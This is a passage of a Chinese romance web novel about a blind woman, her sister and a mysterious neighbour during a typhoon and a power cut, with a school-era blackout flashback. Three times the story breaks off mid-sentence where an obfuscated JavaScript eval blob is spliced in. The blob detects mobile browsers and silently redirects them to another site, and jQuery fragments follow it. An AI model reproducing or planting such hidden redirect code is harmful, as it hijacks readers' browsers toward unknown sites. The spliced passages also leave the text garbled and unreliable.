方舒好工作时很专注,台风也侵扰不了。
但肚子饿可以。
一桶泡面,撑了三小时,消化得只剩一串又一串“咕噜噜”。
方舒胡揉着肚子去厨房,从冰箱摸出一盒只需用微波炉加热的预制便当,滑蛋牛肉盖饭。
微波炉在运转,她靠着流理台,不可避免地听见隔壁厨房的破窗在哭泣。
呜呜——呼呼——凄凄惨惨。
他的厨房没法做饭。
他只有一桶泡面,又是高高大大的男生,能撑多久?
一定饿得快死了吧。
冰箱里还剩三份便当,明天阿姨就会来上班,在那之前她一个人肯定吃不完。
要不卖一份给对门那位?今天的他看起来,还有几分人样。
方舒好拿出手机,给那三份便当拍照,微信发给他。
Fine:【我便当买多了,你要不要挑一个?】
对面回复很快,似乎正无所事事。
梁医生:【左边第一个】
Fine:【50块】
梁医生:【向你转账18元】
梁医生:【你拍到价签了】
方舒好:……
你不仁我自然不义,方舒好在这家伙面前已经不太在意面皮,尴尬了几秒就调整好情绪,回了句“哎呀我搞错了”,轻飘飘揭过。
取出微好的滑蛋牛肉盖饭,考虑到对面的厨房无法正常使用,方舒好顺手把他挑的香辣排骨便当也微了几分钟。
弄好端着出门,姓梁的还没出来。
方舒好摸到他家门铃,按了下。
外面尽是猛烈风声,树枝被刮得哗哗响,无数门窗在嘎吱叫,惊心动魄。
因此,方舒好没听见对面房间的脚步声,也没注意门打开了,呆呆站在那儿听台风奏鸣曲。
门内的人也没出声。
过了一分多钟,她才感应到来自对面房间的气流。
凉飕飕地扑到脸上,带着些许水汽,和浅浅的消毒水味。
“梁医生?”她回过神,“你开门了啊?”
“嗯,刚刚。”
“这是你的香辣排骨……”
“姐!”
风声同样掩盖了过道上的脚步,直到林星悠跑到近旁,兴奋地喊了声,才有人注意到她的存在。
方舒好面前敞开的房门忽然阖上一半,林星悠瞥见里面的人似乎后退了两步。
“姐,惊喜吗?我从学校逃出来了。”林星悠喘着气,“风这么大,你怎么在外面?拿着什么呢?”
方舒好好一会儿没反应过来:”这是给邻居的便当。”
“啊?”
林星悠看到那便当还冒着热气。
什么邻居,搬过来才几天,就使唤她姐这么个盲人给他弄饭吃?
林星悠是个实打实的姐宝女,小时候最开心姐姐来家里陪她玩、教她学数学,长大点又把成绩优异的姐姐当榜样,苦读多年,考上姐姐曾经考上的T大,今年听说姐姐出车祸失明,她在家里哭得也要瞎了……总之,谁敢欺负她姐,就是和她林星悠过不去。
“他自己没手做饭吗?为什么要你给他送?”
“我就走两步过来,不费什么功夫。”方舒好说着,压低声音,“而且,他家现在不太方便。”
“那能有你不方便……”
话未尽,方才半阖的房门又敞开,林星悠抬头,倏然望见一双半敛的、深邃漆黑的眼睛。
她喉头一堵,瞬间忘了接下来要说的话。
这人可真高。这是短暂的第一反应。
这人可……太太太帅了!这是她所有脑细胞在尖叫。
像一种无法言喻的魔法攻击,林星悠被摄在原地,恍惚间,觉得这个哥哥颜值高到令她产生似曾相识的错觉,但是此等级别的帅哥之前见过不应该没印象。
林星悠目光偏向方舒好。
思绪不受控地发散:难怪,要是知道对门住着个极品大帅比,她也愿意给人家送饭,可是她姐看不见啊——她该不会……摸人家了?!
林星悠心头咚咚跳,略过刚才那个话题,掂了掂手里沉甸甸的打包盒:“姐,我在路上看到一家烤鱼店没关,就打包了一条清江鱼过来,蒜香味的,三斤半呢。”
“这么多?”方舒好说,“我都热好便当准备吃了。”
“店里只剩这条了。”
“要不你拿回去,和舍友一起吃?”
“那都凉透了。”林星悠歪歪头,“姐,邻居哥哥不是也没吃饭吗?”
方舒好怀疑自己听错,几息之前,林星悠对他还虎视眈眈,怎么突然就转性,要邀请“邻居哥哥”一起用餐了?
能占便宜的事,姓梁的想必不会拒绝。
果然,方舒好端着便当出门,又端着回去。
林星悠在旁边活蹦乱跳,后面还有一道脚步声,慵懒的,不紧不慢,进门后倒是没乱走,在客厅安家,没出什么声,但气场强大,像座料峭的山,在她家这座小庙拔地而起。
鱼是烤好的,热个十分钟就能吃。
林星悠坐方舒好身边,唯一的男士在对面。
林星悠不着急吃东西,视线透过蒸腾的热雾,观赏对面的神颜,越看越觉得只有这样外形的人当她姐夫,她姐才不亏。
她嘴巴抹蜜一样:“哥哥,你的脸怎么了?”
方舒好听得茫然。
林星悠解释:“他脸上贴了个创口贴。”
方舒好联想到他家的事故:“碎玻璃刮到脸了吗?天……”
“什么碎玻璃?”
“他家窗户今天被风吹炸了。”方舒好心有余悸,“伤得不严重吧?”
男人正在喝水,闲闲散散放下杯子,未启唇,林星悠便替他回答:“看起来还行,幸好没伤到眼睛。”
“离眼睛很近吗?”
“是啊,就在姐你以前那颗泪痣的位置。”
方舒好闻言,嗓音轻了些:“哦。”
她从桌上摸到筷子,执起,捅了捅烤架:“可以吃了吧?”
林星悠拿走她的碗帮她夹鱼肉,话题到此本该结束。
“以前的泪痣。”男人忽然重复林星悠刚才的话,口吻很淡,“现在没有,是点掉了?”
方舒好能感受到男人视线,像一粒雪沫飘落她眼角,无声驻留。
她点点头:“嗯。”
男人随口问:“为什么?”
方舒好眨了眨空洞的眼睛:“点痣还能为什么……”
“当然因为不喜欢。”
话题结束,气氛莫名变
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793705|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得冷清。
林星悠瞎聊起大学的趣事活跃氛围,方舒好善于捧哏,和她有来有回,说说笑笑。
烤鱼噼里啪啦冒泡,香气更盛,男人游离在热闹之外,像尊沉默的雕塑,很拽,也很冷。
林星悠是在幸福家庭长大的小孩,天真率性,像小太阳,乐于普照所有人。见邻居哥哥被晾在一旁,她强行将他扯入话题,顺便刺探他的背景:“哥哥,你是哪个学校毕业的?”
男人不答反问:“你呢?”
“我才大一呢,今年刚考上T大。”
T大是南方最好的大学之一,林星悠的语气掩不住沾沾自喜。
男人点头:“厉害。”
“我姐当年也考上T大了。”林星悠说,“她还是竞赛生,比我更厉害。”
“原来方小姐是T大的高材生。”男人淡声赞叹。
听到这句话,林星悠才意识到自己嘴太碎,小心翼翼瞥一眼姐姐,抿唇噤声。
方舒好神色平静:“我不是T大毕业的,大一就退学了。”
“退学?”男人低哑的声音透出不可思议,“怎么回事?”
“因为……家里的事。”方舒好不愿多说。
“那很可惜。”
虽是叹息,但他语气过于淡薄,几乎听不出惋惜之意。
林星悠安静没一会儿,又管不住嘴:“我姐虽然从T大退学了,但是她后来去美国,又考上了M大,那可是全美计算机专业排名前三的大学,要不是她现在眼睛受伤了……”
“悠悠。”方舒好打断她,“菜都熟了吧?帮我夹两片藕。”
“噢。”林星悠乖乖干活,夹完菜,她瘪了瘪嘴,记起这个话题的开端——明明打算调查帅哥邻居,怎么一直在聊她姐的事?
“我们都说完了,轮到你了哥。”林星悠也给他也夹了片藕,“听姐姐说,你是医生呀?”
“嗯。”
林星悠笑着问:“医学生很多本硕连读的吧?五年加三年,是不是很辛苦?”
“不清楚,没读过硕士。”
林星悠:“那就是普通五年制的本科?”
“没读过本科。”
林星悠笑容消失:“没读本科也可以当医生吗?”
“嗯,就是去不了好医院。”
林星悠:“……”
空气诡异静默了几秒。
话题生硬地转换到台风天如何防范灾害,林星悠这个气氛担当开始心不在焉,边吃东西边低头打字。
她吐槽欲旺盛,和其他小姐妹在一起时,碰上奇葩的人或事,往往当面就拿起手机开始蛐蛐别人。
方舒好淡定地吃着鱼,手机有新消息,她食指一触,点开听。
等林星悠想起阻止,已经太迟。
她忘了她姐是盲人,不能看手机,只能外放来听!
“不行不行,姐,这人学历太差,配不上你!像这种草包帅哥,和他随便玩玩可以,千万别认真啊啊啊……”
读屏语速很快,奈何四下清静,这条消息一字不落传进在场所有人耳朵。
机械女声读完一连串“啊”,窗外的台风仿佛都静止了。
全世界凝固。
林星悠埋着头,脸涨得通红,筷子都要握断。
方舒好则一脸茫然,完全处在状况外。
她和对面那位什么时候是那种关系了?还随便玩玩……
倏尔,她又捕捉到一个词:草包帅哥。
姓梁的……长得很帅吗?
桌对面,男人静默半晌,身子往后一仰,并未发怒,反而懒散笑道:
“你们要不,等我走了再聊?”
8. 恶作剧
林星悠脸几乎要埋进饭碗,所幸脑子没彻底宕机,那条消息并未提及姓名,还可以强行挽回——
“哥哥你别误会。”林星悠僵笑,“我和姐姐聊的是别人,那个男的吧……他中学都没毕业,长得也就小帅,跟哥哥你完全比不了,当然这都不重要,重点是他人品差劲,这种人我怎么能让他拐跑姐姐呢。”
一边说,手一边在桌底下狂拽她姐。
方舒好又窘又好笑,点头应声:“嗯对,是有这么个人。”
“这样啊。”梁医生放下筷子,睨着方舒好微微泛红的脸,漫不经心说,“如果只想随便玩玩,最好提前和人说声。”
顿了顿:“免得人家认真了。”
话落,只剩狂风在屋外激烈地呼吸。
没想到他会提这茬,姐妹俩都有些懵。
许久无人接话,方舒好莫名感觉自己的形象正在往渣女狂奔,只好应付地“嗯”了声。
自己都不知道自己在“嗯”什么。
莫须有的男人,莫须有的感情。
不尴不尬的一餐,很快进入尾声。
梁医生离开后,方舒好和林星悠收拾餐桌,后者心有余悸地回味:“姐,梁医生绝对是我在现实中见过最帅的男的,没有之一,但他给我的感觉一点也不像没读过几年书的花瓶男,气场太强了,搞得我都有点怕……”
方舒好重点在前面那句:“真的有那么帅?”
“真的。”林星悠用力点头,“他要是在我们学校,开学第一天就是妥妥的校草,秒杀所有人,唉,现在论坛里提名的那些男的都是什么妖魔鬼怪。”
方舒好笑了声:“T大男生质量这么差吗?”
“不是一般的差。”林星悠扯起八卦就没完,“不过,我听我舍友,我舍友听她部长的博士学姐说,她读本科的时候,T大还是出过帅得一统全校的校草的……”
方舒好寻思:现在在读博的话,那本科差不多和她一届。
林星悠:“……传得神乎其神,反正我是不信,耳听为虚眼见为实,我让我舍友找几张照片给我看,她拿不出来,说那个男生是超级富二代,虹城纳税最高的it公司E厂是他家产业,家里很低调,网上根本找不到他照片……笑死我了,这种活在传说里的校草,要是没有水分,我名字倒着写。”
方舒好听完,不知道在想什么,歪了歪头:“悠星林。”
“什么?”林星悠没听清。
“没什么。”方舒好一笑置之,岔开话题,“台风还要刮很久,你今晚要不要在我这睡?”
林星悠有些为难:“今天学校不让外出,查寝肯定很严……”
“好吧,那你等风稍微小点再回去。”
有人陪伴,可怖的风声都变成了温和的白噪音。
方舒好坐书桌前工作,林星悠在旁边写作业,偶尔闲话两句,时间不知不觉溜走。
天彻底黑下来前,方舒好催林星悠赶紧回学校。
“带点零食回去吗?我买太多了,吃不完。”
“好呀。”林星悠轻车熟路地打开柜子,“哇,还有泡面。”
“正好,有你爱吃的麻辣牛肉味,带走带走。”
林星悠人都要钻进柜子:“在哪?我怎么没找见。”
“装在一个购物袋里。”方舒好说,“应该很好找呀,上面还贴了圆形的贴纸。”
窸窸窣窣半天,林星悠捧起一桶泡面:“这个吗?”
方舒好伸手,摸到上面贴的圆形贴纸:“对。”
“可是。”林星悠疑惑,“这是海鲜味的。”
“怎么可能……那麻辣味的呢?”
“就这么几桶,没有麻辣味的呀,姐你是不是记错了。”
方舒好愣住。
第一反应是姓梁的贴错了,可这么简单的工作,三岁小孩都不会失误。
那就是故意的。
因为她说喜欢麻辣味,他假意留给她,其实偷偷拿走,用别的替代。没想到歪打正着,留下了她最喜欢的口味。
方舒好觉得这就是真相。
总不至于。
他早就知道她口味,对她的伎俩看破不说破,默默挑走了她不爱吃的吧。
……
林星悠离开后,房间安静下来,外界肆虐的风雨再度刺耳,台风已完全侵入陆地。
白天和黑夜对方舒好而言没有差别,时间流逝的感受也微弱,只能用耳朵听,时钟说六点了,七点了,八点了……她才知道夜已经深了。
突然间,墙上空调“滴”了声,扇叶慢慢闭合,自行关机。
方舒好茫然地眨眨眼,摸出手机充电线,插上,没听到充电提示音。
小区停电了?
放下手机,她该干什么还是干什么。
她的世界已经停电很久很久,就连太阳都罢工,现在现实世界凑巧和她同步了下。
用不着担心,这里可是一线城市,最多半小时就会抢修过来……
真羡慕啊。
市区以南的富人区。
肖泽被台风困在家,搞完工作无所事事,开电脑玩了两把游戏被虐得牙疼,转头就打电话搬救兵。
对方很快接通。
“在干嘛呢彻哥。”肖泽笑盈盈,“台风天,不会还在公司忙吧?”
江家的核心产业意科集团,是虹城数一数二的科技巨头,外界俗称E厂。江今彻毕业后,没有直接空降总部权力中心,只挂了个副总的名,转头进入集团旗下的游戏公司,搞3A网游开发。
这是他的爱好,也藏有不少野心,只有肖泽这样和他最铁的朋友才知道,他和他爸口头约定,游戏公司营收不到集团总营收40%,他不会回总部接班。
像一份投名状。
肖泽曾经觉得这家伙就是活得太顺,没事找事干,后来他自己也进了家里公司,一没经验二没威望,被当做来玩票的公子哥对待,他才知道他那看着散漫不羁的兄弟才是有远见的。
“在家,有事?”
江今彻嗓音懒洋洋,说是在家,背景里又能听到喧嚣的风声。
肖泽:“一看你就闲着,来啊上号啊。”
“上不了,家里停电。”
“也不编点靠谱的。”肖泽无语,“连你家都停电,整个虹城不得罢工了。”
江今彻笑了声:“真停电,骗你干什么。”
“……”肖泽半信半疑,“我长这么大好像就没碰到过停电,不对,碰到过一次,好像是高二……”
他说着笑起来:“你记不记得,当年我们去H省集训,那基地破的,纯纯乡下,过去的第一天晚上就停电,整个基地伸手不见五指,我和老周老黄在宿舍咬着手电筒打牌,你好像不在,对,我们仨找你半天呢,你那天去哪了来着?”
“能去哪。”江今彻轻哂,“趴哪儿睡觉呗。”
肖泽笑:“也是,你那会儿成天来竞赛班睡觉,羡慕死我了。”
江今彻也笑,短促淡薄的一声,听不出情绪。
那天晚上,他确实在外面睡觉,但不是一直在睡觉。
记得是高二那年初秋,学校组织数学竞赛班的学生去省外集训,地点在H省某市郊外一所中学,学校周围荒僻,校内设施也老旧简陋,网速奇差,称得上返璞归真、地狱模式。
江今彻是所有学生中出身最金贵的那个,对恶劣的环境反倒不甚在意。
他不是来这儿训练,而是来放假的。
T大合约在手,平时成绩稳居年级上游,再加上豪横的家世,老师管不了他,也懒得去管,随他爱干嘛干嘛。
集训日程单调,白天上课,晚上刷题,可以在宿舍刷,也可以去图书馆。
这里的图书馆藏书不多,以自习功能为主,集训第一天晚上,江今彻闲逛进去,找到一个僻静的窗景位,前方有书架遮挡,正适合睡觉。
他落座,长腿架上另一只椅子,拿了本薄薄的书盖脸上,身子一仰眼一闭。
再睁眼时,全世界都熄灯了,伸手不见五指。
……
老子瞎了?
江今彻纳闷地起身,发现窗外路灯都罢工,似乎是停电了。
四下寂静,图书馆里自习的人早已撤退干净,而他刚才睡太熟,对此毫无知觉。
这里网太差,他手机都没带,眼下只能凭借夜视力,缓慢往出口行进。
经过一条狭长过道,空气中弥漫着老旧木头的淡酸味,以及陈年油墨的涩气。黑暗放大了其余感官,江今彻经过一间自习室门口,隐约听到里头传来椅脚挪动的声音。
以及,急促又慌乱的呼吸。
他停在门口,迟疑地问:“有人吗?”
过了几秒,里头才传出微弱声音。
“有……”
“方舒好?”
黑暗中,缩在地上的女孩似乎没想到一下子就被认出,愣神间,门外的人已经走到她面前。
一道修长挺拔的剪影,在她跟前屈膝蹲下。
“你摔伤了?”
“嗯。”方舒好挪动了下右腿,“不……不小心,被椅子绊……绊倒了。”
江今彻看向她右腿,依稀辨认出膝盖那块有暗色痕迹,他皱眉:“流血了。”
回应他的只有喘息声,她像被无形的绳索勒住了脖子。
江今彻很快发现,她不止摔伤,更严重的似乎是……恐惧。
眼下的环境,不难猜到她在恐惧什么。
“你怕黑?”他低低地问。
少女点了点头,美丽苍白的面孔在他视野中渐渐清晰,额头有冷汗,发丝黏着皮肤,淡白的唇艰难张合:“有,有点。”
江今彻:“你这幅样子,可不像是有点。”
方舒好重重吸了口气。
小时候母亲常常工作到深夜未归,她只能独自一人睡觉。老旧的筒子楼夜里意外失火,整栋楼停电,方舒好缩在漆黑宛若深渊的房间角落,瑟瑟发抖。
呛人的浓烟像魔鬼的爪子,于幽暗中伸出,张牙舞爪,扼住幼小女孩的喉咙,她恐惧到极点,哭喊着找妈妈,声嘶力竭。
然而,回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793706|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
应她的只有更加浓重的黑暗,以及濒死的窒息和痛苦。
消防员找到她时,她已经昏迷,所幸抢救及时,捡回了一条命。
从那时起,方舒好变得非常怕黑,有人在身边还好,如果独自一人待在黑暗环境,她就会冷汗涔涔,喘不上气,行动困难。
今晚她为求安静,特地找了个人少的自习室,没想到碰上停电,又因为太慌张被椅子绊倒,摔伤了腿,疼痛与恐惧榨干了四周的空气,身体沉重如铅块,她以为会一个人待在这里,窒息到天亮。
“没事了。”少年又靠近些,他显然不太会安慰人,语气依然拽拽的,带着青涩,“你看你运气还挺好,碰上我了。”
方舒好抿着唇,被他欠得有点想笑,可惜笑不出来。
随着他凑近,几点荧蓝色微光显现,照亮少年冷白劲瘦的手腕。
方舒好视线不自觉跟过去。
见她好奇,江今彻抬起手腕,向她介绍这只夜光表的品牌和型号。
意大利的牌子,他下意识用意大利语读,方舒好歪着头,像在听天书。
江今彻想了想,这牌子小众,好像没有中译名,于是又用英语发音读了一遍。
方舒好依旧懵懵懂懂。
她这会儿已经缓过来一些,眨眨眼,气若游丝地开口:“叽里咕噜说什么呢……”
她喘了口气,提起唇角:“会发光的,一律统称为小天才电话手表。”
江今彻一怔,尔后,低头笑起来。
他印象里的方舒好,漂亮,安静,情绪很淡,总是埋头读书,像个性格沉闷的书呆子。
没想到她肚子里也有坏水,怕黑怕得都喘不上气了,也要梗着脖子开他玩笑。
“行。”江今彻点头,垂眼摘下手表,“那我这小天才手表,借你戴戴怎么样?”
不等她应答,他于黑暗中捞起她的手臂,低头将手表戴到她腕间。
银色铂金带着少年炽热的体温,悄然贴上她皮肤。
荧蓝色光芒转移到她手上,除了数字,指针也会发光,像跳动的蜉蝣生物,嘀嗒,嘀嗒,为她的眼睛注入微小闪烁的生命力。
不知不觉,方舒好心里的恐惧渐渐褪去。
她伸手扶墙,膝盖很痛,手脚也还有些麻,用了十几秒才成功站起。
“谢谢你。”她垂着眼,“那个,能不能再麻烦你扶我一会儿?”
江今彻:“我是谁来着?”
方舒好咬唇:“高二1班的江今彻。”
江大少爷心满意足地点头。他比她高了二十多公分,居高临下审视了她一会儿,并没有出手搀扶。
“你现在这个状态,挪到外面天都亮了。”
最后方舒好是被他背出了图书馆。
路上经过无窗的走道,黑暗更重,她胳膊紧紧圈住江今彻的脖子,左手戴的腕表抵在他下巴旁边,荧蓝色微光照亮他小半张脸,薄薄的嘴唇,高挺的鼻梁,眉宇棱角分明,不笑的时候显得冷淡又锋利……方舒好紧紧盯着他,藉此忽略环境的幽暗,这方法很奏效,江今彻那张脸拥有让人目光深陷其中无法自拔的魔力。
走到图书馆外面,学校终于通电,成排的路灯倏然亮起。
方舒好这才发现,她的睫毛几乎刮到人家脸上。
她猛地别开脸,身体像融化的奶油一样往下滑。
“别乱动。”
江今彻全程只说了这三个字,下颌绷紧,莫名带着点凶。
他带她去医务室,处理好伤口,又送她回宿舍。
分别时,方舒好郑重地再一次道谢。
江今彻扬了扬眉,不以为意:“回去吧。”
说完他就转身离去,路灯下影子斜长,有着利落流畅的线条,像棵挺拔的白杨树,随着步伐肆意生长。
方舒好站在原地,忽然想起手表还没还他。
冲他背影喊了两声,他似乎没听见,径直走远了。
回到集训宿舍,明亮灯光照耀下,简约的男士腕表流转着银白光华,表盘不再发光,有着蓝宝石一样干净冷冽的色泽。
“这只手表……”同宿舍的女生诧异地走过来,“你从哪捡的?”
方舒好记起她是江今彻的同班同学。
不想透露今晚发生的事,方舒好顺着她的话:“图书馆捡的。”
“我认识这个表,是我班上同学的。”女生的脸莫名泛红,“你给我吧,我帮你拿去还给他。”
方舒好觉得可行,就要把手表递出去。
因为长得漂亮,方舒好的一举一动很容易被放大,在原来学校没少被传风言风语,所以,转学到实高后,她奉行低调读书原则,和男生交际不多,更不想和闻名全校的风云人物扯上关系。
她握住那只表,不知为何,冰凉的金属触感生暖。
脑海无端响起一句混不吝的——
“那我这小天才手表,借你戴戴怎么样?”
方舒好不由握紧了手表,抬头直视女生的眼睛:“谢谢你,不过还是不麻烦了,我明天自己拿去还给他。”
9. 恶作剧
又一阵旋风席卷过窗外,方舒好坐在床边,点击左手戴的智能手表的表盘。
这款手表的盲人模式开发得很好,方舒好相当依赖它,毕竟手表总是戴在手上,而手机放下之后并不容易摸到。
“二十点四十五分,室内温度二十六摄氏度,湿度百分之九十二……”
“虹城气象台信息,台风海贝斯于登陆后快速减弱,目前已降级为强热带风暴……”
“受台风和强降雨影响,虹城市区部分街区出现停电现象,相关部门正在抢修……”
“微信消息,梁医生:来门口。”
咦?
方舒好点进微信,又听了一遍这条新消息。
她对家里布局了若指掌,仅用十来秒就走到门口,打开门。
“梁医生?”她对着过道喊了声。
“在。”
男人应了一个字,低低的,没有下文。
方舒好已经熟悉他高冷拽王的作风,主动问道:“有事吗?”
梁医生:“我家停电了。”
方舒好:“我家也停了,应该是整个小区的电力系统故障。”
以为他确认了不是自家的问题,而是整个小区的问题之后就会回去,但耳旁没有响起告别声,也没有离开的脚步声。
又是在这座被台风围拢的,静默而黑暗的过道小岛上,两人相对而立。
方舒好沉吟,鉴于当下的情境,以及她过去的经历,她思绪不由得发散开,联想到一种可能——
“你该不会……”她尽力克制语气里的促狭,“在害怕吧?”
转瞬,一阵轻微的哂笑声,男人语气嚣张:“怎么可能。”
方舒好耸了耸肩,这动作带有一定程度的挑衅,仿佛在说我早就知道你不会承认。
男人没理会她,懒散地往侧边挪了一步。方舒好能想象出他现在的样子,高大的身子斜倚着墙边鞋柜,手肘撘在上面,撑肩低头,自上而下好整以暇地打量她。
身高和身材好想象,气质和气场也可以感受到,唯独那张脸,在方舒好脑海中是一团模糊。
不知道是怎么个帅法?清隽淡雅还是浓眉大眼,硬朗型还是妖孽型,成熟型还是清爽型……
方舒好脑中闪过一张张从前印象较深的帅哥面孔,试图拼凑到这个男人身上。
忽然间,有一张丢在明星堆里依然出挑的脸,和眼前男人的身形微妙又顺利地重合。
胡思乱想什么。
方舒好立刻挥开这些思绪。
忽然不想在这里多待下去,她准备告辞回家。
就在这时,冷淡漠然的男人主动开启话题:“能问你一个问题吗?”
方舒好:“什么?”
他似乎后退了一步,语调沉缓:“刚失明那阵子,你是怎么克服的?”
顿了顿:“如果你感觉不舒服,可以不回答。”
方舒好有些惊讶。
认识这些天,这位新邻居对她的残疾毫不好奇,甚至就没把她当盲人看。
方舒好刚开始有些不适,渐渐的,反倒自在起来。
其实她亲近的家人朋友也总会避开这一话题,装作她完全没有生病,但她们表现得太小心翼翼,像徐翡,还有星悠,她们时时刻刻照顾着她的情绪,这份沉甸甸的好意,偶尔会让她产生无以回报的无措。
相比之下,在总是不干人事的新邻居面前,方舒好没什么心理负担。
她猜测,是现在停电幽暗的环境,让他偶然对盲人的生活产生了探知欲。
方舒好平静地回忆:“刚失明那会儿,因为我自身的一些问题,不良反应很严重,反反复复惊恐发作,只能强行医疗介入,过了半个月才缓过来。”
“之后半个月,我几乎什么都没干,每天就崩溃大哭。”思及此,方舒好笑了笑,“或许因为那段时间反应太激烈,情绪都发泄完了,等眼泪哭干,我突然适应得比谁都快,一下子就治愈了自己。”
其实并不是治愈。
只是心脏在反复折磨中变得强硬,足以承受那些痛苦了而已。
方舒好尽量用轻松的语调描述那段经历。
话落,气氛依然不可避免地凝滞。
方舒好朝对门方向歪歪头:“梁医生?”
许久,男人嗓音喑哑:“在。”
他似是吐了一口气,淡淡自嘲:“我好像是有点怕黑。”
方舒好怔住。
这拽王,竟然承认了?
下一秒,又听他说:“要不你过来点。”
方舒好秉持着感同身受助人为乐的心态,往他那边挪了一步。
“别担心,这里可是内环以内,肯定很快就能通电。”她安慰。
“再过来点。”他说,“都看不见你在哪。”
这回方舒好没动:“我可以陪你,但你干嘛不自己过来。”
“因为。”他拖着腔调,“我喜欢被动。”
方舒好差点被他气笑。
滞涩的气氛一下缓和过来,她抱臂调侃:“因为长得帅,天天被女人追着跑,养成习惯了?”
“是啊,现在还有人在楼下排队。”他轻笑,不经意问,“你妹妹都怎么和你形容我的?”
“没怎么形容,就说长得还行。”
男人低头,左手随意抚上眼尾,无声撕开创可贴。
那里并没有伤口,只有一颗细小的泪痣。
又听她接着说:“反正我不喜欢被动的男生。”
男人哼笑:“我怕我主动,你受不了。”
又来了,这该死的自信。
方舒好咬牙,再一次强烈渴望眼睛能治好:“希望等我复明那天,你不要长得太让我失望。”
“可惜了。”男人叹气,“我不会在这里住太久,也许哪天干不下去就搬走了。”
“那你争取干久一点。”
“还是指望你自己吧。”男人拽得二五八万,“快点把眼睛治好,我就勉为其难,给你看一眼。”
……
回到家,方舒好站在玄关,重重踩了两脚拖鞋。
新邻居在她心里的形象愈发深刻:自恋!欠揍!让人恨不得照他脸上来一拳!
方舒好口干舌燥,转进厨房拿杯子接水。
“滴”的一声,饮水机运转,45摄氏度温水汩汩流淌下来。
方舒好拿起杯子喝了口。
忽然间,她反应过来——
饮水机怎么能用?
小区通电了?什么时候的事?
一分钟前,她还在过道上陪着“怕黑”的邻居。
他们俩当时离得很近,因为停电,方舒好料想他也看不清她,就没怎么做表情管理,想笑或者被气到的时候,表情格外放飞自我。
……
打住。
再想下去,她真的会忍不住跑出去捶门,用盲杖狠狠抽他,直到解气。
-
方舒好的领导虽然允许她居家办公,但偶尔也需要她去公司做职务汇报,一般一个月三到四次。
今天是星期四,部门开例会,方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16793707|190594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舒好必须到场。
徐翡和林星悠今天都有事,早晨九点也不到阿姨的工作时间,因此,方舒好决定试一试独自出门打车去公司。
她不能总是依赖别人,没有人有义务随时随地陪着她、帮助她。
提前五分钟叫好车,方舒好手执盲杖,顺利地离开小区,走到马路边。
初秋的晴天,太阳懒洋洋晒在身上,扑面的微风拥有柔软的形状,带着青涩干燥的草木香味撩起她发丝,方舒好敞开心扉感受美好天气的抚慰,以此纾解第一次独自出门的紧张。
然而,一通电话毫不留情打碎这一切。
“小姐,我已经等了你三分钟,怎么还没到?”
“我到了呀。”方舒好温声说,“我在华景佳园出口,长虹路边上,旁边有一颗很茂盛的树……”
“啧,你怎么定位的,定到对面去了!我现在在附医门口,这里限停,你赶紧过来。”
“不好意思。”方舒好紧忙道歉,“能不能麻烦你掉头过来?应该离得不远。”
“这里没地方掉头,要开很远,麻烦死了。你直接走过来不就行了?”
“我的眼睛看不见,也不知道斑马线在哪。”方舒好再次道歉,“不好意思。”
对方沉默了几秒,又发出不耐烦的啧啧声。
“这里太堵了,掉头不知道要多久,你取消订单吧。”
“没关系,我可以等……”
“我没时间。”司机暴躁道,“妈的,怎么老接到这种事多的女的,盲人出什么门打什么车……”
嘟嘟嘟,通话挂断。
方舒好的订单也被取消。
她站在树荫下,深吸了口气。
忽然觉得穿透树隙晒在身上的阳光好像生了刺,吹到脸上的微风也变得凛然如同刀片。
她低下头,重新打车。
手机拿到耳边,反反复复确认定位是否正确。
现在是上班高峰期,这里又是居民区又是医院,网约车排队排了几百号。
等待过程中,方舒好茫茫然望着前方,感觉自己就像坠入海里的一叶舟,各式各样嘈杂的声音翻涌上来,像深暗起伏的海浪,不知何时就能把她吞没。
嘀——
一道鸣笛声忽然响起,将她从飘摇的思绪中扯回现实。
感觉到有辆车缓缓停到自己跟前,方舒好伸出盲杖,小心翼翼地往前。
“是出租车吗?”方舒好问。
无人答复,她听到车门开启的声音,司机似乎下车了,正绕过车头朝她这边走来。
方舒好警惕地站定:“稍等,我、我需要拍一下车牌号。”
盲杖哒哒哒敲地,她转身往车头走。
头顶拢过来一道阴影,方舒好停步不及,撞上一堵人墙。
“对不起。”她道完歉,忽然吸了吸鼻子,像小动物那样微微伸长脖颈,在空气中细细嗅闻,像是探查到了某种熟悉的味道。
身前的人站定不动,好整以暇等待她分辨。
方舒好闻了一会儿,握紧盲杖,也不动了,似乎在思考。
车水马龙的街道上,明晃晃的日光下,两人沉默对峙。
像在比拼谁的耐心更足。
终于,男人扯唇轻哂了声,嗓音一如往常,低哑沉磁:“没我想象中聪明。”
真的是他。
